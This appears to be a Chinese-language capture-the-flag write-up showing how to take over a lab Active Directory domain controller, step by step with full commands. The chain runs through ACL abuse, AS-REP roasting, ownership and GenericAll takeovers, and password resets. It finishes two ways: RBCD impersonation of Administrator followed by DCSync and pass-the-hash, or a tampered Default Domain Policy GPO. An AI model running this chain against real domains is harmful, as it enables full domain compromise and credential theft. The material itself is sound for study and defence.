扫描
扫描得到192.168.111.10应该是一台域控且域名为sec.lab
nmap
nmap -sV -Pn 192.168.111.10
fscan
fscan -h 192.168.111.10
bloodhound
根据题目所给账户查看其所拥有的权限
bloodyAD --host ad.sec.lab -d sec.lab -u 'MHTLV1' -p 'mht-LV1' get writable --detail
接着血猎犬启动对域内进行信息收集
bloodhound-python -c ALL --zip -d sec.lab -u 'MHTLV1' -p 'mht-LV1' -ns 192.168.111.10 -k
发现我们已掌握的账号MHTLV1是直接到不了域控的,于是对能让MHTLV1有写userAccountControl属性的计算机账户进行探测,发现计算机账户$GATE有一条能到达域控的acl链路,至此我们得到了一条完整的acl链路
ACL链路利用
MHTLV1 → GATE$
查询GATE$当前状态为已禁用,而这里PASSWD_NOTREQD的准确含义是密码策略不要求这个账户必须有密码而不等于账户没有密码,所以GATE$依然有一个真实的、未知的密码需要我们把它爆破出来
bloodyAD --host 192.168.111.10 -d sec.lab -u 'MHTLV1' -p 'mht-LV1' get object 'GATE$' --attr userAccountControl
既然MHTLV1对这个属性有写权限,就可以把整个值改成我们想要的组合
改写userAccountControl为4198400=0x401000=WORKSTATION_TRUST_ACCOUNT(0x1000)+DONT_REQ_PREAUTH(0x400000),其作用也就是启用账户同时设成不需要预认证(AS-REP Roasting的前提)
bloodyAD --host ad.sec.lab -d sec.lab -u 'MHTLV1' -p 'mht-LV1' -k set object 'GATE$' userAccountControl -v 4198400
定向AS-REP Roasting
Kerberos正常流程中,客户端在申请TGT之前必须先证明“我知道密码”:它用密码派生的密钥加密一个时间戳发给KDC,这叫预认证(Pre-Authentication)
如果账户设置了DONT_REQ_PREAUTH,KDC就会跳过这一步直接把AS-REP返回给任何请求者。AS-REP里有一段用该账户密钥加密的数据,拿到它就可以离线暴力破解——这就是AS-REP Roasting:不需要任何凭据,只需要一个“关闭预认证”的账户名
于是对账户GATE$进行定向AS-REP Roasting,使用john对其hash值进行破解得到GATE$账户密码为gate
GetNPUsers.py 'sec.lab/GATE$' -dc-ip 192.168.111.10 -no-pass -format hashcat -outputfile gate.hash
john --wordlist=/usr/share/wordlists/rockyou.txt gate.hash
拿GATE$的TGT
getTGT.py 'sec.lab/GATE$:gate' -dc-ip 192.168.111.10
export KRB5CCNAME='GATE$.ccache' klist
注意:LDAP禁用了NTLM,后续所有LDAP操作必须-k -no-pass走Kerberos
GATE$--WriteOwner-->AUTH(组)
AD对象的所有者Owner在DACL之外,天然拥有两项隐式权限:
① READ_CONTROL——读取该对象的安全描述符
② WRITE_DAC——修改该对象的DACL(也就是“谁能对这个对象做什么”)
所以WriteOwner本身不能直接改member、不能改密码、不能读数据,它的价值是把自己变成Owner→拿到WRITE_DAC→在DACL里给自己加GenericAll→获得完全控制
夺取auth所有权
所以当GATE$对AUTH有WriteOwner权限时,先把自己变成owner,AUTH组原本归Domain Admins所有,现在归GATE$所有(如果报错失败可能是未同步域控时间)
owneredit.py -action write -new-owner 'GATE$' -target 'AUTH' 'sec.lab/GATE$' -dc-ip 192.168.111.10 -k -no-pass
用所有权换取GenericAll
现在GATE$是AUTH的Owner,拥有WRITE_DAC于是可以往AUTH的DACL里写一条ACE,我们让GATE$给MHTLV1授予GenericAll
bloodyAD --host ad.sec.lab -d sec.lab -u 'GATE$' -k add genericAll 'AUTH' 'MHTLV1'
把MHTLV1加进AUTH组
bloodyAD --host ad.sec.lab -d sec.lab -u 'MHTLV1' -p 'mht-LV1' -k add groupMember 'AUTH' 'MHTLV1'
组关系变化更新票据
getTGT.py 'sec.lab/MHTLV1:mht-LV1' -dc-ip 192.168.111.10
export KRB5CCNAME='MHTLV1.ccache' klist
AUTH--WriteOwner-->MAIN(组)
MHTLV1已经是AUTH组成员,而组作为安全主体其权限由组内成员共享,于是MHTLV1自动继承了AUTH对MAIN的WriteOwner,可以重演上一节的两步走
#夺取MAIN所有权
owneredit.py -action write -new-owner 'MHTLV1' -target 'MAIN' 'sec.lab/MHTLV1' -dc-ip 192.168.111.10 -k -no-pass
#将GenericAll给自身
bloodyAD --host ad.sec.lab -d sec.lab -u 'MHTLV1' -p 'mht-LV1' -k add genericAll 'MAIN' 'MHTLV1'
#加入MAIN组
bloodyAD --host ad.sec.lab -d sec.lab -u 'MHTLV1' -p 'mht-LV1' -k add groupMember 'MAIN' 'MHTLV1'
再次刷新TGT,此时MHTLV1已经是MAIN组成员,继承MAIN对四个用户的所有权边
getTGT.py 'sec.lab/MHTLV1:mht-LV1' -dc-ip 192.168.111.10
export KRB5CCNAME='MHTLV1.ccache' klist
MAIN--WriteOwner-->MHTLV9/MHTLV99/MHTLV999/MHTLV9999
BloodHound中看到MAIN组队MHTLV用户们的权限
MAIN --WriteOwner--> MHTLV9@SEC.LAB (1617)
MAIN --WriteOwner--> MHTLV99@SEC.LAB (1618)
MAIN --WriteOwner--> MHTLV999@SEC.LAB (1619)
MAIN --WriteOwner--> MHTLV9999@SEC.LAB (1620)
而这里本应有两条路可走
MAIN
│
┌───────────┴────────────┐
▼ ▼
MHTLV9999 MHTLV9 / MHTLV99 / MHTLV999
│ │
│ GPO │ RBCD
▼ ▼
Default Domain Policy AD$(域控)
第一条路
MHTLV999 --AllowedToAct--> AD$(域控 RBCD)
重新检查BloodHound中所有计算机节点的AllowedToAct字段,只有域控AD.SEC.LAB非空,这对应DC计算机对象上的属性msDS-AllowedToActOnBehalfOfOtherIdentity={MHTLV9, MHTLV99, MHTLV999}即这三个用户被允许代替AD$的身份,即可以对域控发起RBCD攻击,冒充任意用户(含Administrator)访问DC上的任何服务
因为MAIN对这三个用户都有WriteOwner,任意选择一个接管即可这里我们选择MHTLV999(此时票据依旧是MHTLV1@SEC.LAB)
#夺所有权
owneredit.py -action write -new-owner 'MHTLV1' -target 'MHTLV999' 'sec.lab/MHTLV1' -dc-ip 192.168.111.10 -k -no-pass
#给自己 GenericAll
bloodyAD --host ad.sec.lab -d sec.lab -u 'MHTLV1' -p 'mht-LV1' -k add genericAll 'MHTLV999' 'MHTLV1'
#重置密码
bloodyAD --host ad.sec.lab -d sec.lab -u 'MHTLV1' -p 'mht-LV1' -k set password 'MHTLV999' 'hacker123'
RBCD冒充Administrator访问DC
S4U2Self是“服务向KDC请求一张代表某个用户的、发给自己的服务票据”。因为MHTLV999是普通用户,没有servicePrincipalName,KDC不把它当服务主体,所以在请求S4U2Self之前要补一个SPN
bloodyAD --host ad.sec.lab -d sec.lab -u 'MHTLV1' -p 'mht-LV1' -k set object 'MHTLV999' servicePrincipalName -v 'http/MHTLV999.sec.lab'
申请票据S4U2Self + S4U2Proxy
MHTLV999--S4U2Self-->拿到自己服务票据(cifs/AD.sec.lab, 冒充Administrator)
MHTLV999--S4U2Proxy-->KDC检查AD$的AllowedToAct名单→命中→签发Administrator的cifs/AD票据
getTGT.py 'sec.lab/MHTLV999:hacker123' -dc-ip 192.168.111.10
export KRB5CCNAME='MHTLV999.ccache'
klist
getST.py -spn 'cifs/AD.sec.lab' -impersonate 'Administrator' -dc-ip 192.168.111.10 'sec.lab/MHTLV999:hacker123'
DCSync域控完全控制
冒充域控制器,向域控请求同步域内用户的密码相关数据,从而获取NTLM哈希等敏感凭据
export KRB5CCNAME='Administrator@cifs_AD.sec.lab@SEC.LAB.ccache' secretsdump.py -k -no-pass -just-dc 'sec.lab/Administrator@AD.sec.lab'
SHELL与FLAG
根据administrator的hash横向登录并在桌面找到最终flag
wmiexec.py -hashes :6f4009ffe6f419f6ebef8c5c4495f26f 'sec.lab/Administrator@ad.sec.lab' cd C:\Users\Administrator\Desktop type flag.txt
第二条路
BloodHound显示MHTLV9999对Default Domain Policy这个GPO对象有GenericWrite/WriteOwner/WriteDacl的权限,而Default Domain Policy是链接在域根上的策略,域内所有计算机(包括域控自己)都会应用它。所以理论上可以修改该GPO的机器配置,写入一条Restricted Groups(受限制的组),设置让域控在下次刷新策略时,把自己的BUILTIN\Administrators组填充成我们指定的成员(包含MHTLV1),从而让MHTLV1成为域控本地管理员就可以登录拿flag
注意作用范围:Default Domain Policy作用于域内所有计算机,不只是域控,也就是说这条设置会把MHTLV1加进域内每一台机器的本地Administrators组(只要它们应用了该策略),在真实环境中这会造成大面积的权限扩散
接管MHTLV9999
此时票据依旧是MHTLV1@SEC.LAB
#夺所有权
owneredit.py -action write -new-owner 'MHTLV1' -target 'MHTLV9999' 'sec.lab/MHTLV1' -dc-ip 192.168.111.10 -k -no-pass
#给自己GenericAll
bloodyAD --host ad.sec.lab -d sec.lab -u 'MHTLV1' -p 'mht-LV1' -k add genericAll 'MHTLV9999' 'MHTLV1'
#重置密码
bloodyAD --host ad.sec.lab -d sec.lab -u 'MHTLV1' -p 'mht-LV1' -k set password 'MHTLV9999' 'hacker123'
MHTLV9999取票
上传统文件时必须用MHTLV9999的身份
getTGT.py 'sec.lab/MHTLV9999:hacker123' -dc-ip 192.168.111.10
export KRB5CCNAME='MHTLV9999.ccache'
klist
GPO结构
GPO 实际上由三部分组成,只改其中一部分不会生效
部分 | 内容 | 取值 |
AD中的GPO对象 | versionNumber 、 flags 、 gPCFileSysPath 、 gPCMachineExtensionNames | CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=sec,DC=lab |
SYSVOL中的文件 | GPT.INI 与 Machine\microsoft\windows nt\SecEdit\GptTmpl.inf | \\sec.lab\SYSVOL\sec.lab\Polcies\{31B2F340-016D-11D2-945F-00C04FB984F9} |
链接 | 指明这个 GPO 作用在哪个容器上 | Default Domain Policy 已链接在域根DC=sec,DC=lab |
构造GptTmpl.inf
[Group Membership]的__Members定义的是该组的完整成员列表:列表里的成员会被加入,不在列表里的现有成员会被移除。所以必须把原本就属于BUILTIN\Administrators的账户全部写上,否则会把它们踢出去
printf '[Unicode]\r\nUnicode=yes\r\n[Version]\r\nsignature="$CHICAGO$"\r\nRevision=1\r\n[Group Membership]\r\n*S-1-5-32-544__Members = *S-1-5-21-2380805203-3077027388-2901856451-500,*S-1-5-21-2380805203-3077027388-2901856451-512,*S-1-5-21-2380805203-3077027388-2901856451-519,*S-1-5-21-2380805203-3077027388-2901856451-1613\r\n' > /tmp/GptTmpl.utf8
printf '\xff\xfe' > /tmp/GptTmpl.inf
iconv -f UTF-8 -t UTF-16LE /tmp/GptTmpl.utf8 >> /tmp/GptTmpl.inf
#文件必须是UTF-16LE+BOM、行尾CRLF;写成UTF-8或LF,安全CSE会解析失败且不一定报错
进入SYSVOL并上传文件
访问域控的SMB共享SYSVOL文件夹,定位GPO的安全策略文件GptTmpl.inf,然后先上传GptTmpl.inf文件再下载刚上传的文件
impacket-smbclient 'sec.lab/MHTLV9999@ad.sec.lab' -k -no-pass -dc-ip 192.168.111.10 use SYSVOL
cd SEC.LAB\POLICIES\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\microsoft\windows nt\SecEdit
put /tmp/GptTmpl.inf
ls
get GptTmpl.inf
exit
回读校验两个md5一致,说明上传完整、字节没有被改写
md5sum /tmp/GptTmpl.inf ./GptTmpl.inf
AD里的versionNumber与SYSVOL里GPT.INI的Version=必须一致,否则客户端会认为“策略没变”直接跳过处理,这个DWORD的高低16位分别代表用户配置版本和计算机配置版本
printf '[General]\r\nVersion=11\r\n' > /tmp/GPT.INI
cat -A /tmp/GPT.INI
impacket-smbclient 'sec.lab/MHTLV9999@ad.sec.lab' -k -no-pass -dc-ip 192.168.111.10 use SYSVOL
cd SEC.LAB\POLICIES\{31B2F340-016D-11D2-945F-00C04FB984F9}
put /tmp/GPT.INI
get GPT.INI
exit
md5sum /tmp/GPT.INI ./GPT.INI #校验一下文件是否上传成功
把AD里的versionNumber改成与GPT.INI相同的值,这里我写的是11(没有什么特别指定的只是前面都失败了,版本号必须依次递增所以就到这个数字了)
#更改
bloodyAD --host ad.sec.lab -d sec.lab -u 'MHTLV9999' -p 'hacker123' set object 'CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=POLICIES,CN=SYSTEM,DC=SEC,DC=LAB' versionNumber -v 11
#检验
bloodyAD --host ad.sec.lab -d sec.lab -u 'MHTLV1' -p 'mht-LV1' get object 'CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=sec,DC=lab' --attr versionNumber,flags,gPCFileSysPath,gPCMachineExtensionNames
验证生效与登录域控
CN=Administrators,CN=Builtin是普通的AD对象, member属性任何域用户都能读。因此可以用MHTLV1的凭据轮询不需要域管权限
while true; do
date
bloodyAD --host ad.sec.lab -d sec.lab -u 'MHTLV1' -p 'mht-LV1' \
get object 'CN=Administrators,CN=Builtin,DC=sec,DC=lab' --attr member
sleep 60
done
不需要票据了直接登录即可
wmiexec.py 'sec.lab/MHTLV1:mht-LV1@ad.sec.lab'
对比
RBCD分支 | GPO分支 | |
最终拿到的身份 | SEC\Administrator(域管理员) | BUILTIN\Administrators(域控本地管理员组) |
能否直接DCSync | 有 DS-Replication-Get-Changes(-All) | 没有复制权限 |
能否改Domain Admins组 | 能 | 对与对象没有写权限 |
能否读NTDS.DIT | 通过 DCSync 走网络协议拿 | 通过 VSS 卷影副本 本地复制文件拿 |
权限性质 | 域级身份 | 主机级身份 |